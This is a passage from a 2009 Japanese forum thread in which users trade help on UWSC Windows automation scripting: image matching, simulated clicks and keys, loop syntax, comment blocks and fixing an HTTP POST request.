前ここで紹介したやつとかはできるよ。
307名無しさん@お腹いっぱい。:2009/07/01(水) 23:49:42 ID:ygopY0dKP
>>302                              
ifb CHKIMG("画像1.BMP",指定範囲A) or CHKIMG("画像1.BMP",指定範囲B) then
みたいな方法はダメなの?
308名無しさん@お腹いっぱい。:2009/07/02(木) 12:13:35 ID:OEoizP2MO
uwsc間でセマフォを実現したいのですが
dllを作って制御するよりも簡単な方法はないでしょうか?
309名無しさん@お腹いっぱい。:2009/07/02(木) 14:40:24 ID:sDXIrU6E0
>>308

スレッドで排他的な処理をするときに、グローバル変数でやるけどな。
310名無しさん@お腹いっぱい。:2009/07/02(木) 15:23:40 ID:q3lfYl560
テキストファイル作るとかいくらでも原始的な方法あるだろ…。

小手先にこだわる人はそういうの嫌う傾向あるけどさ。
311名無しさん@お腹いっぱい。:2009/07/03(金) 08:57:54 ID:XVVCydyZP
>>300
それ、使用者が1人に限定されてるなら、複数台のPCにインストール可ってことだろ。
 複数台のPCにインストール = ライセンス違反
にはならないっしょ。
312名無しさん@お腹いっぱい。:2009/07/06(月) 18:41:41 ID:YZMKaP1Xi
話の流れを切ってしまってすいません。
最近、UWSCを使い始めた者です。
以下のようなスクリプトを作成したいと思っています。
グラフを表示するアプリケーションで、折れ線グラフに座標がプロットされています。
プロットにマウスカーソルを合わせるとカーソルが手アイコンになって、アイコンの横に数値等の情報が表示されます。
グラフにプロットされている数値情報をUWSCのスクリプトで取得したいのですが、実現可能でしょうか?
313名無しさん@お腹いっぱい。:2009/07/06(月) 20:06:01 ID:TPkvWju00
>>312
セーブ機能でもあれば(できればRAMDISKにするのが精神的にはいい)
ファイルに落とさせてそこからデータ拾う方向でスクリプト書くのが結局速度的に楽だと思う
314名無しさん@お腹いっぱい。:2009/07/06(月) 22:06:49 ID:lo0IC7Wz0
多分株とかFXのチャート情報を取りたいんだよな?
具体的なソフト名出した方が早くね?
315名無しさん@お腹いっぱい。:2009/07/07(火) 01:17:50 ID:jscXNfpn0
javascriptを使ったwebサイトのソース内で、
var foo = "hoge"
となっているときに、
"hoge"を取得するスマートな方法はありますか?
316名無しさん@お腹いっぱい。:2009/07/07(火) 04:41:48 ID:P7bnsZv00
UWSC Ver4.5b umiumi
 TRY-EXCEPTにて間違った処理をするパターンがあるのを修正
 別プロセスで実行時に引数の扱いを間違うパターンがあるのを修正
 SLCTBOX関数にて配列を個別に指定された時に正しく処理できなかったのを修正
 本体実行中でもスケジュールの指定Window(別プロセス実行)が実行できるように修正
 COPY関数にて第三引数(長さ)が省略された場合は、残り全部とするようにした
 最大スケジュール数をINIの[SCHEDULE],MaxNumberで指定できるようにした
 GETSTR関数にて取得文字数が最大4MBまでだったのを制限を無くした
 POSB関数にて逆サーチでの順番指定が出来なかったのを修正
 DLL内でのエラーをTry-Exceptでトラップできるようにした
 IEのINPUT_FILEタグに対し対策をした
 Pro版:
 RecIE:Viataにてポップアップダイアログのボタンが記録できなかったのを修正
 UDebug:検索ボタンにて文字選択がされている場合は、直にその文字を検索できるようにした
317名無しさん@お腹いっぱい。:2009/07/09(木) 03:18:09 ID:K+cvyH5a0
UWSCで持続的に多数のウィンドウへキー命令することは可能でしょうか?
318名無しさん@お腹いっぱい。:2009/07/09(木) 10:10:19 ID:trO9D85B0
可能です
319名無しさん@お腹いっぱい。:2009/07/09(木) 15:48:14 ID:K+cvyH5a0
ありがとうございます
320名無しさん@お腹いっぱい。:2009/07/09(木) 16:25:26 ID:CvPCj7sU0
>DLL内でのエラーをTry-Exceptでトラップできるようにした
地味に大きくない?
DLL内で0除算させて試してみようかな
321名無しさん@お腹いっぱい。:2009/07/10(金) 00:32:47 ID:lbj2n/b50
これ便利ね
322名無しさん@お腹いっぱい。:2009/07/10(金) 02:57:08 ID:7POBxinT0
便利だね
手作業でチマチマやってたのを全部自動化した
API使えるから何でも出来るんだよね
昔VC++で勉強したことがこんなところで役に立つとは思わなかったな
323名無しさん@お腹いっぱい。:2009/07/10(金) 13:24:06 ID:bvHtNp3y0
IE8を使っている人に聞きたいのですが、IE.navigateでページを開いたとき
アドレスバーにフォーカスが移って、WEBページをTABや矢印キーで操作しようとしても
失敗してしまうということはありますか?

現状、いけるときと失敗するときとがある感じでよく分からない状態なんですが
IE.navigateでページを開いたあと、CTRL+F6(次のフレームに移動)でWEBページ表示領域に
フォーカスを移す処理を入れたほうがいいんでしょうか?
324名無しさん@お腹いっぱい。:2009/07/15(水) 08:40:40 ID:dHC6/iUm0
キーボードの数字をランダムに押すというのに苦戦しています。
0〜9の数字を8回ランダムに押すというものです。

KBD(VK_数字)といった感じでできるのですが、この数字のところ
をrandomに変更することができません。

そもそもキー操作の場合それぞれのキーが割り当てられてるので
この場合はrandomにはできないのでしょうか?

数字部分に変数を当ててrandom関数でやってみましたが
駄目でした。
325名無しさん@お腹いっぱい。:2009/07/15(水) 09:35:49 ID:aCfMEibV0
まさかとは思うが、KBD(VK_Random(9))とか書いてるのか?

Select Random(9)
 Case 0
 KBD(VK_0)

とかだろ…
326名無しさん@お腹いっぱい。:2009/07/15(水) 10:32:42 ID:RKrpYa/b0
KBD(Random(10)+$30)
でおk
327名無しさん@お腹いっぱい。:2009/07/15(水) 13:08:42 ID:RKrpYa/b0
KBD(VK_0 + Random(10))
328名無しさん@お腹いっぱい。:2009/07/15(水) 21:01:09 ID:57HO71P40
おまじない的な感覚で>>326or>>327でよいかと

ほとんど自動変換してくれるんで意識する必要はないけど
まれに変数の型が表に顔出してくる時あるんだよね
329名無しさん@お腹いっぱい。:2009/07/15(水) 22:49:40 ID:g+Ls3JNv0
@エクセル起動→Aエクセルマクロ実行→B実行終了したらフラグを受け取り別のソフト起動
の操作はどのように書けばいいですか?
330名無しさん@お腹いっぱい。:2009/07/16(木) 23:58:32 ID:+davSeuX0
え?まさかの丸投げ?
331名無しさん@お腹いっぱい。:2009/07/17(金) 08:18:26 ID:bbfZIYIo0
>>329
がんばって書く
332329:2009/07/18(土) 00:22:53 ID:WM9dcx8z0
>>331
有難う御座います。がんばって書きます
333名無しさん@お腹いっぱい。:2009/07/18(土) 02:22:29 ID:1ZexqNwY0
例えばaを押したら1と入力されるようにすることはできますか?
要は普段使わないキーボードの右側の方(;:]./\など)をテンキー化したいのです。
さらに欲を言うならば、caps lockがかかった状態、もしくはshitやctrlを押した状態の時だけ、そういうことが発動するようにしたいのですが、可能でしょうか?
334名無しさん@お腹いっぱい。:2009/07/18(土) 02:24:17 ID:mUArMsKp0
可能です
335名無しさん@お腹いっぱい。:2009/07/18(土) 09:22:55 ID:ItSUs/Al0
>>333
オレならUSBテンキー買って来る
336名無しさん@お腹いっぱい。:2009/07/18(土) 12:33:46 ID:CE0jT6p40
>>335
個人ならそれでいいかもしれんが、企業だったら稟議書からなにから通すだけで時間かかったりするぞ
337名無しさん@お腹いっぱい。:2009/07/18(土) 15:24:17 ID:8JxgQ2fy0
sckey をバックグランドで実行する方法はありますか?

CLKITEMだと出来たのですが、sckeyが分かりません。
338名無しさん@お腹いっぱい。:2009/07/18(土) 17:12:38 ID:91EZdOVQ0
それは大変だ。
339名無しさん@お腹いっぱい。:2009/07/18(土) 20:15:17 ID:aYjbn5h30
>>333
そういうのはautohotkeyで書いたほうが楽
340名無しさん@お腹いっぱい。:2009/07/19(日) 00:13:28 ID:3BRuI4PH0
>>333
KeySwap for XPとかで済むんじゃねーの?
341名無しさん@お腹いっぱい。:2009/07/19(日) 00:19:50 ID:Oz/DPzGt0
お前らマルチに親切にレスしてるなんてヒマなんだな
342名無しさん@お腹いっぱい。:2009/07/20(月) 02:15:50 ID:nsn5ChNU0
>>334>>338
カス死ね
343名無しさん@お腹いっぱい。:2009/07/20(月) 16:08:02 ID:JDSGXSFx0
>>333
まずはC++でグローバルフックのDLLを作ります
344333:2009/07/21(火) 18:30:21 ID:WYzZFjZo0
あれから色々苦戦中、0〜9までuwsファイル作っておいてそれをcallで呼び出せばいいんじゃないかと思ったり。
ちなみに、プログラムの知識は皆無だよ

以下返信
>>334
そうか、頑張るよ

>>335
なら、numlockで良くね?

>>336
稟議書 ←なんて読むの?

>>339
ググった。私の脳のスペックでは意味不

>>340
ベクターで色々みたさ、でも自分で作りたいじゃないか〜

>>341
マルチ スマソ(´・ω・`)

>>342
まぁまぁ

>>342
帰ったらググります
345名無しさん@お腹いっぱい。:2009/07/21(火) 18:56:29 ID:h60nc1rT0
>>344
公式掲示板でほとんど作ってもらったんだから
こっちじゃなくあっちにレスしてやれよw
346名無しさん@お腹いっぱい。:2009/07/23(木) 21:59:22 ID:ANKsVFLo0
ご存知の方教えてください。
Firefoxで表示、文字サイズ拡大の操作を記録したのですが、
再生してみても文字サイズが拡大されません。
多分スクリプトを少し書き直さないといけないと思うのですが
どういうふうにすればよいのでしょうか?
347名無しさん@お腹いっぱい。:2009/07/23(木) 22:06:49 ID:wpDpzEkE0
>>346
あなたの書いた(記録した?)スクリプト自体を
見せてもらわねば提言のしようがありません。
348名無しさん@お腹いっぱい。:2009/07/24(金) 07:50:51 ID:mKJXAKWL0
>>347
MMVというのがたくさんありますが、(多分Mouse Moveの略でしょうか?)
それを抜かすと以下のようになります。

ACW(GETID("UWSC - Mozilla Firefox","MozillaUIWindowClass"),-4,-4,1032,746,0)
BTN(LEFT,DOWN,149,31,63)
BTN(LEFT,UP,148,31,10)
BTN(LEFT,DOWN,333,167,16)
BTN(LEFT,UP,333,167,47)

どのようにすればよいのでしょうか?
349名無しさん@お腹いっぱい。:2009/07/24(金) 08:17:19 ID:1UbdP7zu0
>>346
ブラウザで文字サイズを変えるのは ctrlキーを押しながらマウスのホイールを回すのが簡単
350名無しさん@お腹いっぱい。:2009/07/24(金) 09:00:42 ID:/eJPvueU0
>>348
記録モードが、低レベル記録、になってますね。
それは、マウスの位置から全てのウィンドウの位置まで
記録開始した状態と全てがまったく同じでないと動きません。

4.5以上のバージョンなら設定で、高レベル記録、がありますので
それをつかってみろ。出来上がるスクリプトの中に書いてあるClkItemとかはヘルプを読んでみろ。
351名無しさん@お腹いっぱい。:2009/07/24(金) 10:23:23 ID:xMXuk8+w0
途中で口調変更ワロス
352名無しさん@お腹いっぱい。:2009/07/24(金) 12:32:34 ID:gzTYP/+s0
育ちが知れるなw
353名無しさん@お腹いっぱい。:2009/07/24(金) 13:18:06 ID:L/9QcjXe0
わろすw
354名無しさん@お腹いっぱい。:2009/07/25(土) 08:58:51 ID:3fo2OaNk0
これは恥ずかしいw
355名無しさん@お腹いっぱい。:2009/07/25(土) 17:16:36 ID:/+q684D80
画像をグループ分けして画面内に画像が出た場合、どちらのグループに属するか認識し行動を分ける事は可能でしょうか?

グループ1(A,bmp B,bmp C,bmp)
グループ2(D.bmp E.bmp F.bmp)

グループ1が出た場合
BTN(LEFT,CLICK)

グループ2が出た場合
BTN(Right,CLICK)

という風なスクリプトを作りたいです
356名無しさん@お腹いっぱい。:2009/07/25(土) 20:40:39 ID:2ESVsmuX0
uwscのスクリプトを要望に応じて書いてくれるところとかないでしょうか?
簡単なものだったら10分ぐらいでできてしまうと思うのですが。
そういう簡単なものだったら1000円ぐらいで書いてくれるサービスあったらいいなとかw
楽天ビジネスとかって企業向けですよね。もっと気軽に個人向けにやってるところとかないのでしょうか。
357名無しさん@お腹いっぱい。:2009/07/25(土) 22:27:50 ID:EmgNWjoxP
簡単なバイトでも時給1000円はもらえる
たった1000円じゃ仕事ではなくボランティアレベル

あなたの望むサービスがなぜ存在しないか考えてみよう
358名無しさん@お腹いっぱい。:2009/07/26(日) 00:15:47 ID:hvI9wiQs0
>>355
ピクセル単位のマッチングが必要だね。
各グループの絵を、あらかじめ配列に展開しいておいて、ピクセル単位でマッチング。

すんごい重いと思うから、かどから順番にマッチングせずに例えば10ピクセル飛ばしとかで
マッチング、その横からの10ドット飛ばしという風にしてマッチングして行くようにすると良い。
もちろんマッチしなかった時点で処理を抜ける。

どれくらいの画像に対して処理をするか次第だけどリアルタイムで行けるかは
マシンパワー次第かも。

ただし表示箇所がランダムなのであれば難度は一気に上がるよ。
始点を探す処理が入るからね。
実質の全画面チェック。
ピクセルマッチング系に魔法のようなテクニックはないのでスクリプト系の処理速度が
それに向くかはちょっと微妙だと思うし。
359名無しさん@お腹いっぱい。:2009/07/26(日) 01:07:26 ID:RFSxx9OA0
uwscってボタン同時押しはできないんだっけ?
360名無しさん@お腹いっぱい。:2009/07/26(日) 01:15:22 ID:k8W8PP1U0
できるよ
361名無しさん@お腹いっぱい。:2009/07/26(日) 01:27:05 ID:SQTfml1C0
>>358

普通にCHKIMGじゃだめなのか?
362名無しさん@お腹いっぱい。:2009/07/26(日) 02:02:16 ID:hvI9wiQs0
>>361
ガチでダンプチェックするより事前に代表点で振るいかけたほうが早いんよ
363名無しさん@お腹いっぱい。:2009/07/26(日) 02:38:43 ID:wN6RQvAZ0
>>362
グループ化と言ってるあたり、そのレベルの質問ではなく
ifとか基礎文法の扱い方を知りたいないと思うんだが・・・
ちょっと論点がズレてる気がする

「どう高速化すべきか?」という質問されたのであればそれが正解かも知れませんけどね
364名無しさん@お腹いっぱい。:2009/07/26(日) 11:41:09 ID:DhQZJJUu0
>>363
速度が十二分に速いなら、

if chkimg("A.bmp") then (1グループ処理)
if chkimg("B.bmp") then (1グループ処理)
if chkimg("C.bmp") then (1グループ処理)
if chkimg("D.bmp") then (2グループ処理)
if chkimg("E.bmp") then (2グループ処理)
if chkimg("F.bmp") then (2グループ処理)

で良くなる。
これを実行してみてから、より速度が必要なら改善方法はそれなりにあるだろう。
365名無しさん@お腹いっぱい。:2009/07/26(日) 13:41:19 ID:ADTPJm3c0
355です。
あまり速度は必要ないのでif chkimgで総当りしてみます。
答えてくださった方々ありがとうございました
366名無しさん@お腹いっぱい。:2009/07/26(日) 18:47:12 ID:SQTfml1C0
>>362

peekcolorで候補絞って最後にchkimgする感じ?

そもそも全画面捜査やったことないし、素人なもんで、そういう方法について頓着したことなかったよ^^;
367名無しさん@お腹いっぱい。:2009/07/27(月) 23:03:22 ID:jAvJH5hi0
俺もやったことあるけど、でかい画像にchkimgかけるとたまらなく遅いんだよな。
368名無しさん@お腹いっぱい。:2009/07/28(火) 01:28:51 ID:GiUkEbYy0
355です。
800×600の画面の左上に110個の画像を総当りでチェックしていこうとおもうのですが・・・
やはり少し無謀でしょうか?
369名無しさん@お腹いっぱい。:2009/07/28(火) 01:54:32 ID:I9N45zJA0
800x600と800x600を110回チェックだとしたら無謀すぎる。
たとえC言語で組んでもリアルタイムは無理だw
370名無しさん@お腹いっぱい。:2009/07/28(火) 02:35:11 ID:GiUkEbYy0
http://pc.gban.jp/?p=14873.jpg

言葉では説明しきれなかったので画像にしてみました
赤の部分をチェックします。

長々とすみません
371名無しさん@お腹いっぱい。:2009/07/28(火) 08:51:02 ID:Pp360QyAP
範囲が狭いなら100パターンチェックも十分可能だろうけど・・・
それだけの画像用意するのも大変じゃね?
画像の左側は数パターンしかないとかもっと分類できないものなの?
372名無しさん@お腹いっぱい。:2009/07/28(火) 08:51:09 ID:4rihFoYW0
>>370
>>364の内容で作ってみてからの話だぜ? 
自分で何倍ぐらい早くしないとだめなのか、理解が及ばないとね。

また、高速化する場合には、アルゴリズム以外にも、そのものをよく知らないとだめ。
…何に対してどういう処理をして何を省くのか、はお前さんしか知らないしな。

つか、Cでも無理だという話があるし…無理なものは無理とあきらめるべき。
373名無しさん@お腹いっぱい。:2009/07/28(火) 09:41:19 ID:oKzw8Bf70
おれならその範囲をドット単位で記録するマクロをまずつくって必要なパターンと判断パターンとの
相関を割り出す。
374名無しさん@お腹いっぱい。:2009/07/28(火) 09:59:02 ID:Gy+7hY450
まずは試してみるのが一番早い。

そのためのUWSCです。
375名無しさん@お腹いっぱい。:2009/07/28(火) 15:51:30 ID:bh7Aq+ks0
クリックについてちょっと質問です。
今現在目的の動作はできていますが、もっと簡略化
できるのではと思っています。

BTN(LEFT,CLICK,303,359,0)
BTN(LEFT,CLICK,335,359,0)
BTN(LEFT,CLICK,367,359,0)

このような感じでクリックするのが徐々に横にずれて
いくというものなのですが、x軸の移動幅が同じと
いうことで、簡略はできませんか?

ランダムでは、本家のサイトで見つけましたが、
ランダムだと関係ないところまでクリックしてしまうので。
376名無しさん@お腹いっぱい。:2009/07/28(火) 16:45:22 ID:4rihFoYW0
>>375
おめーは、ヘルプの制御文の項目を100回読み直せ。
他の項目も全部読んでから出直して来いや。
377名無しさん@お腹いっぱい。:2009/07/28(火) 18:09:57 ID:LfvbDBC/i
>>375
X軸を変数にすれば、クリックコマンドは1つにできるぞ。何でランダムと言い出すのか? 意味がわからん。
3コマンドだったら、今でも良いと思うが。
378名無しさん@お腹いっぱい。:2009/07/28(火) 18:46:42 ID:bh7Aq+ks0
変数以後がわからないんです。
32ずつ増えていくというのが。
379名無しさん@お腹いっぱい。:2009/07/28(火) 19:06:49 ID:Eqbq+GDA0
クリックするたびに変数に32足すだけのことだよ
380名無しさん@お腹いっぱい。:2009/07/28(火) 19:14:49 ID:aCDcIvCB0
3行でやることにこだわってんのかも
381名無しさん@お腹いっぱい。:2009/07/28(火) 19:36:40 ID:llG+e4bu0
かわいそうなので

for i = なんちゃら to なんちゃら step 32
btn(なんちゃらかんちゃら)
next

または

i = なんちゃら
repeat
btn(なんちゃらかんちゃら)
i = i + 32
until i < なんちゃら
382名無しさん@お腹いっぱい。:2009/07/28(火) 19:55:07 ID:X9y7aNs50
たとえば20回画像探索する処理をループ内に置くと、ループ外に置くのより時間がかかるのは知ってたけど、
メインプログラム内とスレッド内でもこれまたスレッド内の方が処理遅くなるんですねー。
383名無しさん@お腹いっぱい。:2009/07/28(火) 19:57:18 ID:EviZ455x0
もういいです
384名無しさん@お腹いっぱい。:2009/07/28(火) 20:11:01 ID:bh7Aq+ks0
>>381
レスどうも。
しかし、それは本でみつけたもので
設定がわからないのです。

上のは知らなかったので試してみたけど駄目でした。
下は、本には一ずつ増えていき指定の回数になると
終わるということでした。

しかもkbdなのでxとかの変数に割り当てるというものでは
なかったです。
385名無しさん@お腹いっぱい。:2009/07/28(火) 20:18:37 ID:vQa+HPoO0
つまり、自分では考えたくないということですね
386名無しさん@お腹いっぱい。:2009/07/28(火) 20:32:39 ID:Eqbq+GDA0
だめだこりゃw
387名無しさん@お腹いっぱい。:2009/07/28(火) 20:38:48 ID:3Yrgh0RB0
ああ
夏か
388名無しさん@お腹いっぱい。:2009/07/28(火) 21:09:02 ID:bh7Aq+ks0
最後の終了条件のところが間違ってました。

i = 303
repeat
BTN(LEFT,CLICK,i,359,0)
i = i + 32
until i > 623

これでおkでした。 i < 623 という単純な間違いでした。
389名無しさん@お腹いっぱい。:2009/07/28(火) 21:28:41 ID:Oy3tYx+80
横から言い訳すると
WHILE-WEND(真ならばループする)と
REPEAT-UNTIL(偽ならばループする)で
逆だからごっちゃになりやすいんだよね
漏れもよくミスるわw
390名無しさん@お腹いっぱい。:2009/07/28(火) 22:16:36 ID:Pp360QyAP
REPEAT-UNTILはどの言語の影響受けて存在してるの?
C系に慣れてる人のトラップだわ
391名無しさん@お腹いっぱい。:2009/07/28(火) 23:40:55 ID:pQqgxc/T0
なら無理して使うなよ
392名無しさん@お腹いっぱい。:2009/07/29(水) 01:25:24 ID:rwk2ISqwP
自分が使わなくても他人の作ったソースに入ってたら困るよね
393名無しさん@お腹いっぱい。:2009/07/29(水) 09:56:51 ID:0T+4O6iv0
C使いって昔はちょっと尊敬してたけど
このスレとか見てると、馬鹿ばっかなんじゃないかと思えてきたわ
394名無しさん@お腹いっぱい。:2009/07/29(水) 10:10:19 ID:QlUtUOFv0
普通のC使いはこんなとここねーだろw
395名無しさん@お腹いっぱい。:2009/07/29(水) 10:21:15 ID:lOY04Qex0
Cだとこうだったとかいうヤツは最初Cからプログラム始めて、挫折して他の言語に逃げたヤツと相場は決まってる
396名無しさん@お腹いっぱい。:2009/07/29(水) 14:02:02 ID:TR15ENoG0
K&R本半分ぐらいしか読んでないな(´・ω・`)
397名無しさん@お腹いっぱい。:2009/07/29(水) 22:31:17 ID:RFTz4JvE0
Cは難しくないだろ
C++は難しいけど
398381:2009/07/30(木) 22:20:48 ID:WSwKbLYQ0
>>388
ごめんね。不等号の向き間違えて。
399名無しさん@お腹いっぱい。:2009/07/31(金) 23:46:44 ID:N/AhkZ5J0
>>398
許すよ。これからは気をつけろよ。
400名無しさん@お腹いっぱい。:2009/08/01(土) 12:03:59 ID:LFJuPttY0
400get
401名無しさん@お腹いっぱい。:2009/08/01(土) 17:47:42 ID:8RpQSHP40
スレチだけど若い人が多いと思うので失礼しますね。

「中国の『核』が世界を制す」  講師:伊藤貫 1/4
http://www.nicovideo.jp/watch/sm3795989

「中国の『核』が世界を制す」  講師:伊藤貫 2/4
http://www.nicovideo.jp/watch/sm3796181

「中国の『核』が世界を制す」  講師:伊藤貫 3/4
http://www.nicovideo.jp/watch/sm3796532

「中国の『核』が世界を制す」  講師:伊藤貫 4/4
http://www.nicovideo.jp/watch/sm3797016
402名無しさん@お腹いっぱい。:2009/08/01(土) 17:57:03 ID:bmF+rgP80
(´・ω・`)
403名無しさん@お腹いっぱい。:2009/08/03(月) 13:32:26 ID:ZeE5zmd40
WinHttpRequestを使ってPOSTデータを送信したい
…でもこれだと受け取ってくれてないみたい。POSTに何も値が入ってない状態です。
どうしたら受け取ってくれるのでしょう?
(localhost以外の他のWebサーバでも同じく受け取ってくれないみたいです。
他のWSHやVBAではこういう書き方で出来てるみたいなんですけど…


//UWSCスクリプト---------------------------
objHttp = CreateOLEObj("WinHttp.WinHttpRequest.5.1")

url = "http://localhost/test.php"
body = "value1=10&value2=20"

objHttp.Open("POST", url, false)
objHttp.setRequestHeader("Content-Length", length(body))
objHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencode")
objHttp.Send(body)
objHttp.WaitForResponse()

msgbox(decode(objHttp.responseBody, CODE_BYTEARRAY))

//test,phpの中身----------------------------
<?php
  var_dump($_POST); //POSTデータを全部ダンプ出力
?>
404名無しさん@お腹いっぱい。:2009/08/03(月) 14:31:06 ID:K4hmauqM0
>>403
同期フラグ間違ってね?

oHttp = CreateOLEObj("MSXML2.XMLHTTP")
oHttp.Open("GET", url, True )
oHttp.Send("")
ifb 200 = oHttp.status Then
405名無しさん@お腹いっぱい。:2009/08/03(月) 16:34:08 ID:ZeE5zmd40
>>404
MSXML2.XMLHTTP と、同期フラグをTrueにしてみたり
2種二通りの4パターンやってみましたけど…だめでした。

なんか根本が間違ってるのかな、おれ…
406名無しさん@お腹いっぱい。:2009/08/03(月) 16:58:55 ID:K4hmauqM0
>>405
失礼。Postしてるんだね。
Valueは頭に”&”いらないの?
まずGetで取得がうまくいくか試すべきだけど。

ちなみに、2ちゃんねるとかはリプライを見てるからGetしてないオブジェクトからPostは受け付けなかったりする。
ヘッダにリプライを入れようとしても、基本的にリプライは扱えないようになってる。
407名無しさん@お腹いっぱい。:2009/08/03(月) 17:42:29 ID:ZeE5zmd40
>>406
一応、GETでは取得は出来ました
test.php?value1=10&value2=20とかのやりかたでPHPで取得可能です。
Valueは頭に”&”は不必要だと思います。付けても変化なしでした。やりかたがまずいのかな。

http://msdn.microsoft.com/en-us/library/aa384045(VS.85).aspx
の下の方を読むと
>var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
>WinHttpReq.Open("PUT", "http://postserver/newdoc.htm", false);
>WinHttpReq.Send("Post data");
と書いてあるので、こんな書き方でいいのかなー、とか思いつつ試してみましたが・・・だめ。

小出しにするようで申し訳ないですけど
WEBサービスの自動ログイン処理で、ちょっと前まではGET文で出来ていたんですけど
仕様変更なのかPOSTが必要っぽい。…で、UWSCでPOSTが出来ない?とか思いまして
自前でPHPのローカルサーバ立ち上げても同じだなぁ・・・と。

curl -d value1=10 http://localhost/test.php
とかのPOST送信コマンドだとちゃんと受け取れているので、
スクリプトの書き方の問題と思っているのです。
408名無しさん@お腹いっぱい。:2009/08/03(月) 18:08:57 ID:11ofMjNS0
>>403
まず本当にWSH・VBAでできてるか再確認してみたら?
去年11月のセキュリティ更新でXMLHTTP関係の仕様変更されて
意図的にもリファラー出せなくなったらしいから
ついでにPOSTメソッドもなんかいじられたのかも知れない

HTAをもっと流行らせる計画 Part2
http://pc12.2ch.net/test/read.cgi/tech/1220874815/48-51
409名無しさん@お腹いっぱい。:2009/08/03(月) 18:09:24 ID:HbQIdt32P
セキュリティソフトがガードしてるとか・・・さすがにないか
家にPOSTしてるソースあるから帰ったら調べてみたい
410名無しさん@お腹いっぱい。:2009/08/04(火) 00:08:05 ID:xVSj2GaH0
GETやらPOSTやらは面倒だからperlでやってるな
411名無しさん@お腹いっぱい。:2009/08/04(火) 00:16:43 ID:t0N9BVCC0
>>408
そういや他のスレでもWSHのHTTP関係の挙動がMSの機嫌で変わるのには
嫌気が差すってレスがあったなぁ。
この部分だけでも別のexeなりスクリプト言語にすりゃいいんだろうけど。
412403:2009/08/04(火) 10:20:59 ID:Ju4QJxlO0
解決しました

正しくは >>403の一文を
objHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")

urlencoded … 最後の『d』が抜けてました…orz
くだらない間違いを大げさに騒いでしまった…果てしなく恥ずかしい。

いろいろ答えていただいてありがとうございました。
413名無しさん@お腹いっぱい。:2009/08/05(水) 12:24:04 ID:Z7NQ5pjz0
このソフトってある事が起こった時に
違う行動を取るようにプログラムすることできる?
414名無しさん@お腹いっぱい。:2009/08/05(水) 12:36:21 ID:5awUNnAE0
もちろん
415名無しさん@お腹いっぱい。:2009/08/05(水) 12:48:41 ID:/Yl0j/NL0
ある事ってのが気になる。
のりぴーが失踪したらとか、部屋を貸してた女社長が体調を
崩して会社を休んだろかかな。
416名無しさん@お腹いっぱい。:2009/08/05(水) 16:50:32 ID:+uas2RDw0
分岐だろ。できるが、質問をするような人には無理かもな。w
417名無しさん@お腹いっぱい。:2009/08/05(水) 16:59:20 ID:aKt2UmN60
複数行のコメントアウトってどうやるんですか?
ググっても見つからないんですが・・・
418名無しさん@お腹いっぱい。:2009/08/05(水) 17:01:26 ID:HJQHUTSW0
>>417
<コメント>
 // から行末までです


ヘルプにはこれしか載ってない。
複数行の一括コメントアウトは出来ないだろう。
419名無しさん@お腹いっぱい。:2009/08/05(水) 17:11:56 ID:aKt2UmN60
>>418
ありがとうございます。
やはり出来ないんですね。。。

複数行に「//」付けるのは大変なんですが、
皆さんどうしてるんでしょう??
420名無しさん@お腹いっぱい。:2009/08/05(水) 17:12:07 ID:BnoHwJyx0
どうしてもやりたければ

TextBlock 擬似複数行コメントアウト1
・・・
・・・
・・・
EndTextBlock

ところで再利用しない無名TextBlockできたっけ?
421名無しさん@お腹いっぱい。:2009/08/05(水) 17:12:40 ID:5awUNnAE0
TEXTBLOCK コメント
    なんちゃら
    かんちゃら
ENDTEXTBLOCK
422名無しさん@お腹いっぱい。:2009/08/05(水) 17:20:14 ID:aKt2UmN60
>>420
>>421
ありがとうございます。

>>208 の方も書いてたので、皆さんそうしてるようですね。
スッキリしました。
423名無しさん@お腹いっぱい。:2009/08/05(水) 18:15:31 ID:L0nS9lcz0
どうして公式的なブロックコメントを設けないんだろうか?
実装が大変とは考えにくいんだけど
424名無しさん@お腹いっぱい。:2009/08/05(水) 18:27:22 ID:RLVwU7rK0
ブロックコメントはエディタのサポートがないと分かりにくいから無駄じゃね?
エディタのサポートがあるんならキーボードマクロで全部に//入れればすむし。

僕がCプログラム組んでたときも基本的にブロックコメントなんて使ってなかったよ。
とりあえず使わないソースコードのために使ったことはあるけど。
UWSCの場合はスクリプトだから、使わないコードは
exitexitの後ろに持っていって実行されないようにすればいいし。
425名無しさん@お腹いっぱい。:2009/08/05(水) 19:05:45 ID:Z7NQ5pjz0
>>414-416
俺の場合ここで話すことができるような高度な事のために使おうとかそういう志は確かにないな・・・
ブラウザーゲームでMS-Tacticsという単純なクリックゲームがあるんだがそれを知ってるかな?
ある事っていうのはそのゲームで自動ツールを組む事です。
マクロ確認というのがあってMESが送信されてきます。
その時机の前にいればいいのですが家を空けている場合はマクロストップ、家にいる場合は音楽ファイルを鳴らして知らせるというマクロを組たいのですがこのソフトで可能ですか?
426名無しさん@お腹いっぱい。:2009/08/06(木) 14:30:51 ID:QAy3+pD40
指定範囲のスクリプトを無効にするように
したいのですが、できますか?

先頭に//をつければ無効になりますが、
複数行の場合かなり辛いので。
427名無しさん@お腹いっぱい。:2009/08/06(木) 14:34:57 ID:garvnA3v0
釣れますか?
428名無しさん@お腹いっぱい。:2009/08/06(木) 15:02:26 ID:Xz7oiw/r0
他の言語だとif(0){…}とかやってる
429名無しさん@お腹いっぱい。:2009/08/06(木) 15:24:46 ID:vz2nf8XW0
>>426
使ってるテキストエディタによっては
マクロを組むことで簡単に対応できると思います。
430名無しさん@お腹いっぱい。:2009/08/06(木) 15:35:19 ID:VbvNg9fW0
他のウィンドウが上に被っている状態で、
下のウィンドウ内の画像だけでchkimg判定させることはできるでしょうか?
431名無しさん@お腹いっぱい。:2009/08/06(木) 16:37:26 ID:BmAYZDXB0
>>426
ほんの数レス前も読めないのかと
432名無しさん@お腹いっぱい。:2009/08/08(土) 00:12:28 ID:6r8oWi7C0
画像判定で画像をチェックした後、その画像をクリックさせるにはどう書けばいいんですか?
カーソルが画像の上に移動せずうまくいきません
433名無しさん@お腹いっぱい。:2009/08/08(土) 00:19:59 ID:lwvZADwPP
まずあなたの書いたソースを貼ってください。
何が悪いのかアドバイスできません。 
434名無しさん@お腹いっぱい。:2009/08/08(土) 07:09:48 ID:6r8oWi7C0
Ifb chkimg("aiueo.bmp")
BTN(LEFT,CLICK)

これでカーソルがaiueoに乗らないままクリックされます
何を書き足せばいいんでしょうか?
435名無しさん@お腹いっぱい。:2009/08/08(土) 07:29:20 ID:FHY/k4X30
